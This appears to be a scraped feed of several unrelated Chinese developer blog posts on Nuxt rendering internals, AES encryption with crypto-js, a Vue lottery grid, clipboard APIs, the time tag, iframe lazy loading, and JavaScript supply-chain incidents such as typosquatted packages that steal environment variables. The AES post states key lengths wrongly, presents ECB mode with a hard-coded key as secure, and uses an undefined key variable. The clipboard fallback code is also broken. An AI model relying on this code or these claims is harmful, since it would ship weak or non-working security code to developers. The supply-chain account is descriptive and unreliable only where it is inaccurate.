transform: src => Object.assign(JSON.parse(src), { publicPath })
},
modernManifest: {
fileName: 'modern.manifest.json',
transform: src => Object.assign(JSON.parse(src), { publicPath })
},
serverManifest: {
fileName: 'server.manifest.json',
// BundleRenderer needs resolved contents
transform: async (src, { readResource }) => {
const serverManifest = JSON.parse(src)

const readResources = async (obj) => {
const _obj = {}
await Promise.all(Object.keys(obj).map(async (key) => {
_obj[key] = await readResource(obj[key])
}))
return _obj
}

const [files, maps] = await Promise.all([
readResources(serverManifest.files),
readResources(serverManifest.maps)
])

// Try to parse sourcemaps
for (const map in maps) {
if (maps[map] && maps[map].version) {
continue
}
try {
maps[map] = JSON.parse(maps[map])
} catch (e) {
maps[map] = { version: 3, sources: [], mappings: '' }
}
}

return {
...serverManifest,
files,
maps
}
}
},
ssrTemplate: {
fileName: 'index.ssr.html',
transform: src => this.parseTemplate(src)
},
spaTemplate: {
fileName: 'index.spa.html',
transform: src => this.parseTemplate(src)
}
}
}

this.renderer.ready() 加载resourceMap下的文件资源:clientManifest:client.manifest.json / modernManifest: modern.manifest.json / serverManifest: server.manifest.json / ssrTemplate: index.ssr.html / spaTemplate: index.spa.html


然后调用 createRenderer后,


	 renderer.renderer = {
ssr: new SSRRenderer(this.serverContext),
modern: new ModernRenderer(this.serverContext),
spa: new SPARenderer(this.serverContext)
}

其中,在render实例方法上有一个renderRoute方法还没有被调用。我们猜测估计是用在中间件上调用了(后面查看注册中间件也和我猜测一样)。


其调用流程renderRoute --> renderSSR(ssr.js 实例) --> renderer.renderer.render(renderContext) ssr.js 实例上的render


重点!!!!:ssr实例的render做了什么?


找到packages/vue-renderer/src/renderers/srr.js 发现


import { createBundleRenderer } from 'vue-server-renderer'
async render (renderContext) {
let APP = await this.vueRenderer.renderToString(renderContext)
return {
html,
cspScriptSrcHashes,
preloadFiles,
error: renderContext.nuxt.error,
redirected: renderContext.redirected
}
}
createRenderer () {
// Create bundle renderer for SSR
return createBundleRenderer(
this.serverContext.resources.serverManifest,
this.rendererOptions
)
}

createRenderer 返回值就是this.vueRenderer。


在实例化SSRRenderer的时候调用vue官方库: vue-server-renderer 的createBundleRenderer 方法生成了vueRenderer


然后调用renderToString 生成了html


然后对html做一些了HEAD 处理


所以renderRoute其实是调用 SSRRenderer(其中ssr)实例的render方法


最后看一下setupMiddleware


注册setupMiddleware


// nuxt.config.js 中的中间件
for (const m of this.options.serverMiddleware) {
this.useMiddleware(m)
}
// Finally use nuxtMiddleware
this.useMiddleware(nuxtMiddleware({
options: this.options,
nuxt: this.nuxt,
renderRoute: this.renderRoute.bind(this),
resources: this.resources
}))

....
renderRoute () {
return this.renderer.renderRoute.apply(this.renderer, arguments)
}


...
export default ({ options, nuxt, renderRoute, resources }) => async function nuxtMiddleware (req, res, next) {
const result = await renderRoute(url, context)
const {
html,
cspScriptSrcHashes,
error,
redirected,
preloadFiles
} = result
...
return html
}

进行nuxt中间件注册:


注册了serverMiddleware中的中间件
注册了公共页的中间件page中间件


注册了nuxtMiddleware中间件
注册了错误errorMiddleware中间件


其中nuxtMiddleware中间件就是 执行了 renderRoute


最后附上一张流程图:


img


一句话总结:new Next(config.js) 准备好了一些资源和中间件。app.use(nuxt.render)其实就是把connect当成一个中间件,当请求路过,经过nuxt注册好的中间件,去获取资源,并且renderToString返回页面需要的html。


参考:
juejin.cn/post/694166…
juejin.cn/post/691724…


作者:随风行酱
来源:juejin.cn/post/7306457908636287003
收起阅读 »

前端数据加解密 -- AES算法

web
在当今日益增长的互联网数据流中,信息安全成为了一个越来越重要的主题。数据加密不仅是保护信息免遭未授权访问的有效措施,更是隐私保护和网络安全的基石。正是在这样的背景下,高级加密标准(AES)凭借其坚如磐石的安全性和便捷的操作性,成为了全球加密技术的领航者。 在编...
继续阅读 »

在当今日益增长的互联网数据流中,信息安全成为了一个越来越重要的主题。数据加密不仅是保护信息免遭未授权访问的有效措施,更是隐私保护和网络安全的基石。正是在这样的背景下,高级加密标准(AES)凭借其坚如磐石的安全性和便捷的操作性,成为了全球加密技术的领航者。


在编写Web应用程序或任何需要保护信息安全的软件系统时,开发人员经常需要实现对用户信息或敏感数据的加密与解密。而AES加密算法常被选为这一任务的首选方案。在JavaScript领域,众多不同的库都提供了实现AES算法的接口,而crypto-js是其中最流行和最可靠的一个。接下来,就带大家深入探讨一下如何通过crypto-js来实现AES算法的加密与解密操作。


AES算法简介


首先,对AES算法有一个简要的了解是必须的。AES是一种对称加密算法,由美国国家标准与技术研究院(NIST)在2001年正式采纳。它是一种块加密标准,能够有效地加密和解密数据。对称加密意味着加密和解密使用相同的密钥,这就要求密钥的安全妥善保管。


AES加密算法允许使用多种长度的密钥—128位、192位、和256位。而在实际应用中,密钥的长度需要根据被保护数据的敏感度和所需的安全级别来选择。


密钥长度与安全性


随着计算机处理能力的增强,选择一个充分长度和复杂性的密钥变得尤为重要。在基于crypto-js库编写的加密实例encryptAES和解密实例decryptAES中,密钥encryptionKey须保持在8、16、32位字符数,对应于AES所支持的128、192、256位密钥长度。选择一个强大的、不容易被猜测的密钥,是确保加密强度的关键步骤之一。


加密模式与填充


在AES算法中,所涉及的数据通过预定的方式被组织成块进行加密和解密。因此,加密模式(Encryption Mode)和填充(Padding)在此过程中扮演着重要的角色。


加密模式定义了如何重复应用密钥进行数据块的加密。crypto-js中的电码本模式(ECB)是最简单的加密模式,每个块独立加密,使得它易于实现且无需复杂的初始化。


填充则是指在加密之前对最后一个数据块进行填充以至于它有足够的大小。在crypto-js中,PKCS#7是一个常用的填充标准,它会在加密前将任何短于块大小的数据进行填充,填充的字节内容是缺少多少位就补充多少字节的相同数值。这种方式确保了加密的数据块始终保持恰当的尺寸。


加解密相关依赖库


加解密需要依赖有crypto-js和base-64


import * as CryptoJS from 'crypto-js';
import base64 from 'base-64';
const { enc, mode, AES, pad } = CryptoJS;
var aseKey = 'youwillgotowork!';

JavaScript加密实例encryptAES


在本文中展示的encryptAES函数,使用crypto-js库通过AES算法实现了对传入消息的加密。加密流程是,首先使用AES进行加密,然后将加密结果进行Base64编码以方便存储和传输。最后,加密后的数据可安全地被传送到需要的目的地。


const encryptAES = message => {
var encryptedMessage = AES.encrypt(message, enc.Utf8.parse(encryptionKey), {
mode: mode.ECB,
padding: pad.Pkcs7,
}).toString();
encryptedMessage = base64.encode(encryptedMessage);
return encryptedMessage;
};

此函数接受一个参数message,代表需要加密的原始信息。消息首先被转换为UTF-8编码的格式,以适应AES算法的输入要求。随后,在指定ECB模式和PKCS7填充的条件下,将消息与加密密钥一同送入加密函数。在此步骤,AES算法将消息转换为一串密文,随后通过Base64编码转换为字符串形式,使得加密结果可用于网络传输或存储。


JavaScript解密实例decryptAES


与加密过程相对应,解密为的是将加密后的密文还原为可读的原始信息。在decryptAES函数中,首先要对传入的Base64编码的加密消息进行解码,以恢复出AES算法可以直接处理的密文。然后,通过与加密过程相同的密钥和相应的ECB模式以及PKCS7填充标准进行解密,最后输出UTF-8编码的原始信息。


const decryptAES = message => {
var decryptedMessage = base64.decode(message);
decryptedMessage = AES.decrypt(decryptedMessage, enc.Utf8.parse(encryptionKey), {
mode: mode.ECB,
padding: pad.Pkcs7,
}).toString(enc.Utf8);
return decryptedMessage;
};

在此函数中,message参数应是经过加密和Base64编码的字符串。解密时,加密的数据首先被Base64解码,变回AES可以直接处理的密文格式。接下来,与加密时使用同样的算法设置与密钥,通过AES.decrypt解密密文,然后将解密结果由于是二进制格式,通过调用toString(enc.Utf8)转换为UTF-8编码的可读文本。


效果展示


加解密的效果如下图所示:


image.png


作者:慕仲卿
来源:juejin.cn/post/7306459858126766130
收起阅读 »

VUE实现九宫格抽奖

web
一、前言 九宫格布局 注释了三种结果分支 懒得找图,背景色将就看一下 不足的地方,欢迎评论指正 二、代码注释详解 <template> <div class="box"> <div class="raffleBox...
继续阅读 »

一、前言



  • 九宫格布局

  • 注释了三种结果分支

  • 懒得找图,背景色将就看一下

  • 不足的地方,欢迎评论指正


二、代码注释详解


<template>
<div class="box">
<div class="raffleBox">
<div :class="{ raffleTrem: true, active: data.classFlag == 1 }">富强</div>
<div :class="{ raffleTrem: true, active: data.classFlag == 2 }">民主</div>
<div :class="{ raffleTrem: true, active: data.classFlag == 3 }">文明</div>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 8 }">法治</div>
<button class="raffleStart mt" @click="raffleStart" :disabled="data.disabledFlag">{{ !data.raffleFlag ? '开始' : '结束'
}}</button>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 4 }">和谐</div>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 7 }">公正</div>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 6 }">平等</div>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 5 }">自由</div>
</div>
</div>
</template>
<script setup>
import { ref, reactive } from 'vue';
const data = reactive({
classFlag: 0,
raffleFlag: false,
setIntervalFlag: null,
disabledFlag: false,
setIntervalNum: 1,
list: ['富强', '民主', '文明', '和谐', '自由', '平等', '公正', '法治']
})
//封装随机数,包含min, max值
const getRandom = (min, max) => {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
// 封装定时器
const fn = (num) => {
// 转动九宫格,如果到第八个重置为0再累加,否则进行累加
data.setIntervalFlag = setInterval(() => {
if (data.classFlag >= 8) {
data.classFlag = 0
data.classFlag++
} else {
data.classFlag++
}
}, num)
}
// 开始/结束
const raffleStart = () => {
// 抽奖标识赋反
data.raffleFlag = !data.raffleFlag

if (data.raffleFlag == true) {
// 禁用中间键
data.disabledFlag = true
// 延迟解禁用
setTimeout(() => {
data.disabledFlag = false
}, 2000)
// 开始
// 转动九宫格
fn(100)
} else {
data.disabledFlag = true
// 结束
let setIntervalA
setIntervalA = setInterval(() => {
if (data.setIntervalNum >= 6) {
// 清除定时器
clearInterval(data.setIntervalFlag)
data.setIntervalFlag = null
clearInterval(setIntervalA)
setIntervalA = null
// 解开禁用
data.disabledFlag = false
// 此处可以进行中奖之后的逻辑
//例子1 随机结果
// data.classFlag = 0
// let prizeFlag = getRandom(1, 8)
// let prizeTxt = data.list[prizeFlag - 1]
// console.log(prizeTxt, '例子1');
//例子2 当前值的结果
// let prizeTxt2 = data.list[data.classFlag - 1]
// console.log(prizeTxt2, '例子2');
//例子3 某鹅常规操作
data.classFlag = 0
let confirmFlag = confirm("谢谢参与!请再接再励!");
if (confirmFlag || !confirmFlag) {
window.location.href = "https://juejin.cn/post/7306356286428594176"
}
return
}
// 累加定时器数字,用于缓慢停止定时器
data.setIntervalNum++
// 清除定时器
clearInterval(data.setIntervalFlag)
data.setIntervalFlag = null
// 将当前累加数字作为参数计算,用于缓慢停止定时器
fn(data.setIntervalNum * 100)
}, 1500)
}

// data.classFlag = getRandom(1, 8)
}
// const { } = toRefs(data)
</script>
<style scoped lang="scss">
.box .raffleBox .active {
border-color: red;
}

.mt {
margin-top: 5px;
}

.raffleBox {
width: 315px;
margin: auto;
display: flex;
flex-wrap: wrap;
justify-content: space-between;
text-align: center;
box-sizing: border-box;

.raffleTrem,
.raffleStart {
width: 100px;
height: 100px;
line-height: 100px;
background: #ccc;
box-sizing: border-box;
border: 1px solid rgba(0, 0, 0, 0);
}

.raffleStart {
background-color: aquamarine;
}
}
</style>


作者:加油乐
来源:juejin.cn/post/7306356286428594176
收起阅读 »

点击自动复制剪贴板

web
目标🎯: 一键复制"功能,用户点击一下按钮,指定的内容就自动进入剪贴板。 实现🖊️: 方法一:Document.execCommand()方法 方法二:Clipboard Document.execCommand() Document.execCommand(...
继续阅读 »

目标🎯:


一键复制"功能,用户点击一下按钮,指定的内容就自动进入剪贴板。


实现🖊️:


方法一:Document.execCommand()方法


方法二:Clipboard


Document.execCommand()


Document.execCommand()是操作剪贴板的传统方法,各种浏览器都支持。

支持复制、剪切和粘贴这三个操作。




  • document.execCommand('copy')(复制)




  • document.execCommand('cut')(剪切)




  • document.execCommand('paste')(粘贴)




(1)复制操作


复制时,先选中文本,然后调用document.execCommand('copy'),选中的文本就会进入剪贴板。


const inputElement = document.querySelector('#input'); 
inputElement.select();
document.execCommand('copy');

上面示例中,脚本先选中输入框inputElement里面的文字(inputElement.select()),然后document.execCommand('copy')将其复制到剪贴板。


注意,复制操作最好放在事件监听函数里面,由用户触发(比如用户点击按钮)。如果脚本自主执行,某些浏览器可能会报错。


(2)粘贴操作


粘贴时,调用document.execCommand('paste'),就会将剪贴板里面的内容,输出到当前的焦点元素中。


const pasteText = document.querySelector('#output');
pasteText.focus();
document.execCommand('paste');

(3)缺点


Document.execCommand()方法虽然方便,但是有一些缺点。


首先,它只能将选中的内容复制到剪贴板,无法向剪贴板任意写入内容。


其次,它是同步操作,如果复制/粘贴大量数据,页面会出现卡顿。有些浏览器还会跳出提示框,要求用户许可,这时在用户做出选择前,页面会失去响应。


为了解决这些问题,浏览器厂商提出了异步的 Clipboard API。


异步 Clipboard API


Clipboard API 是下一代的剪贴板操作方法,比传统的document.execCommand()方法更强大、更合理。


它的所有操作都是异步的,返回 Promise 对象,不会造成页面卡顿。而且,它可以将任意内容(比如图片)放入剪贴板。


navigator.clipboard属性返回 Clipboard 对象,所有操作都通过这个对象进行。


const clipboardObj = navigator.clipboard;


如果navigator.clipboard属性返回undefined,就说明当前浏览器不支持这个 API。


由于用户可能把敏感数据(比如密码)放在剪贴板,允许脚本任意读取会产生安全风险,所以这个 API 的安全限制比较多。


首先,Chrome 浏览器规定,只有 HTTPS 协议的页面才能使用这个 API。不过,开发环境(localhost)允许使用非加密协议。


其次,调用时需要明确获得用户的许可。权限的具体实现使用了 Permissions API,跟剪贴板相关的有两个权限:clipboard-write(写权限)和clipboard-read(读权限)。"写权限"自动授予脚本,而"读权限"必须用户明确同意给予。也就是说,写入剪贴板,脚本可以自动完成,但是读取剪贴板时,浏览器会弹出一个对话框,询问用户是否同意读取。


image.png


另外,需要注意的是,脚本读取的总是当前页面的剪贴板。这带来的一个问题是,如果把相关的代码粘贴到开发者工具中直接运行,可能会报错,因为这时的当前页面是开发者工具的窗口,而不是网页页面。


(async () => {
const text = await navigator.clipboard.readText();
console.log(text);
})();

如果你把上面的代码,粘贴到开发者工具里面运行,就会报错。因为代码运行的时候,开发者工具窗口是当前页,这个页面不存在 Clipboard API 依赖的 DOM 接口。一个解决方法就是,相关代码放到setTimeout()里面延迟运行,在调用函数之前快速点击浏览器的页面窗口,将其变成当前页。


setTimeout(
async () => {
const text = await navigator.clipboard.readText();
console.log(text);
},
2000);

上面代码粘贴到开发者工具运行后,快速点击一下网页的页面窗口,使其变为当前页,这样就不会报错了。


Clipboard 对象


Clipboard 对象提供了四个方法,用来读写剪贴板。它们都是异步方法,返回 Promise 对象。


Clipboard.readText()


Clipboard.readText()方法用于复制剪贴板里面的文本数据。


document.body.addEventListener(
'click',
async (e) => {
const text = await navigator.clipboard.readText();
console.log(text);
}
)

上面示例中,用户点击页面后,就会输出剪贴板里面的文本。注意,浏览器这时会跳出一个对话框,询问用户是否同意脚本读取剪贴板。


如果用户不同意,脚本就会报错。这时,可以使用try...catch结构,处理报错。


async function getClipboardContents() {
try {
const text = await navigator.clipboard.readText();
console.log('Pasted content: ', text);
} catch (err) {
console.error('Failed to read clipboard contents: ', err);
}
}

Clipboard.read()


Clipboard.read()方法用于复制剪贴板里面的数据,可以是文本数据,也可以是二进制数据(比如图片)。该方法需要用户明确给予许可。


该方法返回一个 Promise 对象。一旦该对象的状态变为 resolved,就可以获得一个数组,每个数组成员都是 ClipboardItem 对象的实例。


async function getClipboardContents() {
try {
const clipboardItems = await navigator.clipboard.read();
for (const clipboardItem of clipboardItems) {
for (const type of clipboardItem.types) {
const blob = await clipboardItem.getType(type);
console.log(URL.createObjectURL(blob));
}
}
} catch (err) {
console.error(err.name, err.message);
}
}

ClipboardItem 对象表示一个单独的剪贴项,每个剪贴项都拥有ClipboardItem.types属性和ClipboardItem.getType()方法。


ClipboardItem.types属性返回一个数组,里面的成员是该剪贴项可用的 MIME 类型,比如某个剪贴项可以用 HTML 格式粘贴,也可以用纯文本格式粘贴,那么它就有两个 MIME 类型(text/html和text/plain)。


ClipboardItem.getType(type)方法用于读取剪贴项的数据,返回一个 Promise 对象。该方法接受剪贴项的 MIME 类型作为参数,返回该类型的数据,该参数是必需的,否则会报错。


Clipboard.writeText()


Clipboard.writeText()方法用于将文本内容写入剪贴板。


document.body.addEventListener(
'click',
async (e) => {
await navigator.clipboard.writeText('Yo')
}
)

上面示例是用户在网页点击后,脚本向剪贴板写入文本数据。


该方法不需要用户许可,但是最好也放在try...catch里面防止报错。


async function copyPageUrl() {
try {
await navigator.clipboard.writeText(location.href);
console.log('Page URL copied to clipboard');
} catch (err) {
console.error('Failed to copy: ', err);
}
}

Clipboard.write()


Clipboard.write()方法用于将任意数据写入剪贴板,可以是文本数据,也可以是二进制数据。


该方法接受一个 ClipboardItem 实例作为参数,表示写入剪贴板的数据。


try {
const imgURL = 'https://dummyimage.com/300.png';
const data = await fetch(imgURL);
const blob = await data.blob();
await navigator.clipboard.write([
new ClipboardItem({
[blob.type]: blob
})
]);
console.log('Image copied.');
} catch (err) {
console.error(err.name, err.message);
}

上面示例中,脚本向剪贴板写入了一张图片。注意,Chrome 浏览器目前只支持写入 PNG 格式的图片。


ClipboardItem()是浏览器原生提供的构造函数,用来生成ClipboardItem实例,它接受一个对象作为参数,该对象的键名是数据的 MIME 类型,键值就是数据本身。


下面的例子是将同一个剪贴项的多种格式的值,写入剪贴板,一种是文本数据,另一种是二进制数据,供不同的场合粘贴使用。


function copy() {
const image = await fetch('kitten.png');
const text = new Blob(['Cute sleeping kitten'], {type: 'text/plain'});
const item = new ClipboardItem({
'text/plain': text,
'image/png': image
});
await navigator.clipboard.write([item]);
}

举个🌰


  // 复制功能
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>

<body>
<input type="text" value="AJS4EFS" readonly id="textAreas" />
<!--右边是一个按钮-->
<a href="javascript:;" class="cuteShareBtn" id="copyBtn" onclick="copy()">复制</a>
</body>

<script>
function copy() {
const text = document.querySelector("#textAreas").value
if (navigator.clipboard) {
navigator.clipboard.writeText(text)
}
else {
const textAreas = document.createElement("textareas")
textAreas.style.clip = "rect(0 0 0 0)"
textAreas.value = text;
text.select()
document.execCommand('copy')
document.body.removeChild(textAreas)
}
}
</script>

</html>

作者:呜嘶
来源:juejin.cn/post/7306327158130311183
收起阅读 »

你有使用过time标签吗?说说它的用途有哪些?

web
"<time> 标签是 HTML5 中的一个语义化标签,用于表示日期和时间。它的主要用途有以下几个方面: 在网页中显示日期和时间。 在搜索引擎中提供更准确的时间信息。 在机器可读的格式中表示日期和时间。 示例代码: <p>The c...
继续阅读 »

"<time> 标签是 HTML5 中的一个语义化标签,用于表示日期和时间。它的主要用途有以下几个方面:



  1. 在网页中显示日期和时间。

  2. 在搜索引擎中提供更准确的时间信息。

  3. 在机器可读的格式中表示日期和时间。


示例代码:


<p>The current time is <time>12:34</time> on <time>2022-01-01</time>.</p>

在上面的示例中,我们使用 <time> 标签来标记时间的显示部分。这样做有以下好处:



  1. 可访问性:使用 <time> 标签可以使屏幕阅读器等辅助技术更好地理解和处理时间信息,提高网页的可访问性。

  2. 样式化:可以通过 CSS 对 <time> 标签进行样式化,以便更好地呈现日期和时间。

  3. 国际化:<time> 标签允许开发者指定不同的日期和时间格式,以适应不同地区和语言的需求。

  4. 搜索引擎优化:使用 <time> 标签可以提供更准确的时间信息,有助于搜索引擎更好地理解和索引网页中的时间内容。这对于新闻、博客等需要展示时间的网页尤为重要。


需要注意的是,<time> 标签的 datetime 属性是可选的,但推荐使用。它用于提供机器可读的时间信息,这样搜索引擎和其他程序可以更准确地解析和处理时间。


示例代码:


<p>The current time is <time datetime=\"2022-01-01T12:34\">12:34</time> on <time datetime=\"2022-01-01\">January 1, 2022</time>.</p>

在上面的示例中,我们使用 datetime 属性指定了完整的机器可读的时间格式。这对于搜索引擎和其他程序来说是非常有用的。


总结:<time> 标签是用于在网页中表示日期和时间的语义化标签。它可以提高网页的可访问性,允许样式化,支持国际化,并提供机器可读的时间信息,有助于搜索引擎优化。"


作者:打野赵怀真
来源:juejin.cn/post/7304930607132508179
收起阅读 »

页面加载多个Iframe,白屏时间太长,如何优化?

web
最近接到一个需求,和AI 的对话需要展示图表,而这个图表的功能由另外一个系统提供,打算采用iframe的方式嵌入。 当我们和AI对话越来越多,嵌入的图表也会越来越多,此时一次性渲染多个iframe会导致页面白屏时间比较长,体验很差。 要解决这个问题,其本质就是...
继续阅读 »

最近接到一个需求,和AI 的对话需要展示图表,而这个图表的功能由另外一个系统提供,打算采用iframe的方式嵌入。


当我们和AI对话越来越多,嵌入的图表也会越来越多,此时一次性渲染多个iframe会导致页面白屏时间比较长,体验很差。


要解决这个问题,其本质就是减少不必要的iframe渲染。最简单的方式:只渲染可视区域的iframe。


由此,我想了2种解决方案。


虚拟滚动


只渲染可视区域,我下意识的就想到通过「虚拟滚动」来解决。


「虚拟滚动」的本质有两点:


1)只渲染可视区域的内容


2)根据内容高度模拟滚动条


第 1 点很容易实现,第 2 点难点在计算高度上。和AI的每次对话,其答案长度都是不确定的,所以要先获得高度,必须进行计算。


虽然粗略计算对话内容高度,从而来模拟滚动,不是不可行,但结合我们实际场景,这种方案性价比不高。


首先,我们对话内容并不是一次性获得,而是通过异步加载拉取,本质上不会存在一次性渲染太多内容,而导致页面卡顿的问题。


其次,如果要模拟滚动条高度,每次拉取数据时,都要遍历这些数据,通过预渲染,获得每条对话内容的高度,最后得到粗略的滚动条高度。


在已经异步加载的场景下,再去实现虚拟滚动,改动明显比较大,所以最后没有选择这种方案。


懒加载


从图片懒加载思路,获得灵感,iframe 是不是也可以通过懒加载来实现?


答案很明显,是可以的。


iframe自带属性


iframe 默认支持设置 loading="lazy" 来实现懒加载,而且兼容性也还不错。



如果对兼容性没有极致要求,这种方案就很高效,可以很好的解决一次性渲染太多iframe导致页面白屏时间过长的问题。


手动实现懒加载


实现懒加载,需要搞清楚一个表达式:


element:表示当前需要懒加载的内容元素,可以是img、iframe等


scrollEl:滚动条元素


scrollTop:一个元素的 scrollTop 值是这个元素的内容顶部(卷起来的)到它的视口可见内容(的顶部)的距离的度量。当一个元素的内容没有产生垂直方向的滚动条,那么它的 scrollTop 值为0


offsetTop:当前元素相对于其 offsetParent 元素的顶部内边距的距离。


document.documentElement.clientHeight:文档可视区域高度。


element.offsetTop - scrollEl.scrollTop < document.documentElement.clientHeight 当这个条件成立,则说明元素已经进入可视区域,结合下图更好理解。



const scrollEl = 当前滚动元素

const lazyLoad = (elements) => { const clientH = document.documentElement.clientHeight const scrollT = scrollEl?.scrollTop || 0 for (const element of elements) { if (element.offsetTop - scrollT < clientH && !element.src) element.src = element.dataset.src ?? '' } }

// 使用节流函数,避免滚动时频繁触发
const iframeLazyLoad = throttle(() => { const iframes = document.querySelectorAll('.iframe') if (iframes) lazyLoad(iframes) }, 500)scrollEl.addEventListener('scroll', iframeLazyLoad)

图片懒加载原理同上,只需将elements换成img对应的元素即可。


由于滚动时会频繁触发计算,造成不必要的性能开销,所以需要控制事件的触发频率,此处使用 throttle 函数,这里不做赘述,使用lodash第三方库,或者自行实现,都比较简单。


写在最后


针对这种场景——一次性渲染过多数据,导致的性能问题,解决方案的原理大同小异,基本上就是减少不必要的渲染,需要时再触发渲染,或者分批异步渲染。细化到具体方案,就只能根据实际情况分析。


作者:雨霖
来源:juejin.cn/post/7305984583962279962
收起阅读 »

JavaScript 供应链为什么如此脆弱...

web
JavaScript 的强大之处在于其卓越的模块化能力,通过 npm 包管理机制,开发者可以轻易地引用并使用其他人或者组织已经编写好的开源代码,从而极大地加快了开发速度。但是,这种依赖关系的复杂性也给供应链的安全带来了巨大的挑战。 今天就跟大家一起来聊聊 Ja...
继续阅读 »

JavaScript 的强大之处在于其卓越的模块化能力,通过 npm 包管理机制,开发者可以轻易地引用并使用其他人或者组织已经编写好的开源代码,从而极大地加快了开发速度。但是,这种依赖关系的复杂性也给供应链的安全带来了巨大的挑战。


今天就跟大家一起来聊聊 JavaScript 供应链的一些典型负面案例,让大家认识一下这是一个多么脆弱的生态。


【突然删除】left-pad


left-pad 是一个非常简单的 NPM 包,只有 11 行代码,它通过添加额外的空格来将字符串填充到指定的长度。


module.exports = leftpad;

function leftpad (str, len, ch) {
str = String(str);

var i = -1;

if (!ch && ch !== 0) ch = ' ';

len = len - str.length;

while (++i < len) {
str = ch + str;
}

return str;
}

此事件的前因是 left-pad 的作者与另一位开发者之间的商标争议,导致 left-pad 被从 NPM 上撤下。


由于许多大型项目都依赖于这个看似无关紧要的包,其中包括 BabelReact,这导致几乎整个 JavaScript 生态都受到了影响。


你或许会吃惊,为啥这么个只有 11 行代码的包都有这么多大型项目依赖?


对,这就脆弱是 JavaScript 生态。



不得不服的是,这个包早就被作者标记了废弃,而且是 WTFPL 协议(Do What The F*** You Want To Public License), 每周依然有着数百万次的下载量 ...


或许你的项目里就有,但是你可能从不关心。


【作者泄愤】faker.js


要说突然的删除还能接受,那作者主动植入恶意代码就有点过分...



去年的某天,开源库 faker.jscolors.js 的用户打开电脑,发现自己的应用程序正在输出乱码数据,那一刻,他们惊呆了。更令人震惊的是,造成这一混乱局面的就是 faker.jscolors.js 的作者 Marak Squires 本人。乱码的原因是 Marak Squires 故意引入了一个死循环,让数千个依赖于这两个包的程序全面失控,其中不乏有类似雅虎这样的大公司中招。


Marak 的公寓失火让他失去了所有家当,几乎身无分文,随后他在自己的项目上放出收款码请求大家捐助,但是却没有多少人肯买帐...



于是就有了后面这一幕,Marak 通过这样的方式让 "白嫖" 的开源用户付出代价...


所以,如果你也经常 "白嫖" ,那就要小心点了...


【包名抢注】crossenv


对你没听错,就是包名抢注。


你可能听说过域名抢注,一个好的域名抢注了可能后面会卖个好价钱。


比如,抖音火了,官方域名是 http://www.douyin.com ,那么我就注册一个 http://www.d0uyin.com ,如果你眼神不好的话还是有一定欺诈效果的。


包名抢注确确实实也是发生在 JavaScript 生态里的,一样的道理。


比如有个包叫 cross-env,是用来在 Node.js 里设置环境变量的,非常基础且常用的功能,每周有着 500W 次的下载量。



于是有人抢注了 crossenvcross-env.js ,如果有人因为拼写错误,或者就是因为眼神不好使,安装了它们,这些包就可以窃取用户的环境变量,并将这些数据发送到远程服务器。我们的环境变量往往包含一些敏感的信息,比如 API 密钥、数据库凭据、SSH 密钥等等。


还有下面这些包,都是一样的道理:



  • babelcli - v1.0.1 - 针对 Node.js 的Babel CLI

  • d3.js - v1.0.1 - 针对 Node.js 的d3.js

  • fabric-js - v1.7.18 - 针对HTML5 canvas的对象模型和SVG到canvas的解析器,由jsdom和node-canvas支持

  • ffmepg - v0.0.1 - 针对 Node.js 的FFmpegg

  • runtcli - v1.0.1 - 针对 Node.js 的Grunt CLI

  • http-proxy.js - v0.11.3 - Node.js的代理工具

  • jquery.js - v3.2.2-pre - 针对 Node.js 的jquery.js

  • mariadb - v2.13.0 - 一款用于mysql的node.js驱动程序。它用JavaScript编写,无需编译,且100%采用了MIT许可

  • mongose - v4.11.3 - Mongoose MongoDB ODM

  • mssql.js - v4.0.5 - 针对Node.js的Microsoft SQL Server客户端

  • mssql-node - v4.0.5 - 针对Node.js的Microsoft SQL Server客户端

  • mysqljs - v2.13.0 - 一款用于mysql的node.js驱动程序。它用JavaScript编写,无需编译,且100%采用了MIT许可

  • nodecaffe - v0.0.1 - 针对 Node.js 的caffe

  • nodefabric - v1.7.18 - 针对HTML5 canvas的对象模型和SVG到canvas的解析器,由jsdom和node-canvas支持

  • node-fabric - v1.7.18 - 针对HTML5 canvas的对象模型和SVG到canvas的解析器,由jsdom和node-canvas支持

  • nodeffmpeg - v0.0.1 - 针对 Node.js 的FFmpeg

  • nodemailer-js - v4.0.1 - 从 Node.js 应用程序轻松发送电子邮件

  • nodemailer.js - v4.0.1 - 从 Node.js 应用程序轻松发送电子邮件

  • nodemssql - v4.0.5 - 针对 Node.js 的Microsoft SQL Server客户端

  • node-opencv - v1.0.1 - 针对 Node.js 的OpenCV

  • node-opensl - v1.0.1 - 针对 Node.js 的OpenSSL

  • node-openssl - v1.0.1 - 针对 Node.js 的OpenSSL

  • noderequest - v2.81.0 - 简化HTTP请求客户端

  • nodesass - v4.5.3 - 对libsass的包装

  • nodesqlite - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API

  • node-sqlite - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API

  • node-tkinter - v1.0.1 - 针对 Node.js 的Tkinter

  • opencv.js - v1.0.1 - 针对 Node.js 的OpenCV

  • openssl.js - v1.0.1 - 针对 Node.js 的OpenSSL

  • proxy.js - v0.11.3 - Node.js 的代理工具

  • shadowsock - v2.0.1 - 能够帮助你穿越防火墙的隧道代理

  • smb - v1.5.1 - 一个纯JavaScript的SMB服务器实现

  • sqlite.js - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API

  • sqliter - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API

  • sqlserver - v4.0.5 - 针对 Node.js 的Microsoft SQL Server客户端

  • tkinter - v1.0.1 - 针对 Node.js 的Tkinter。


【奇葩的 Bug】is-promise


首先我们明白一个事实,这个库只有一行代码:


function isPromise(obj) {
return !!obj && (typeof obj === 'object' || typeof obj === 'function') && typeof obj.then === 'function';
}

然而,约 500 个直接依赖项使用了它,约 350 万个项目简洁依赖了它,每周包的下载量高达 1200万次。


于是,在 2020JavaScript 生态的名场面来了,一个单行的代码库让一大波大型项目瘫痪,包括 Facebook 、Google 等...


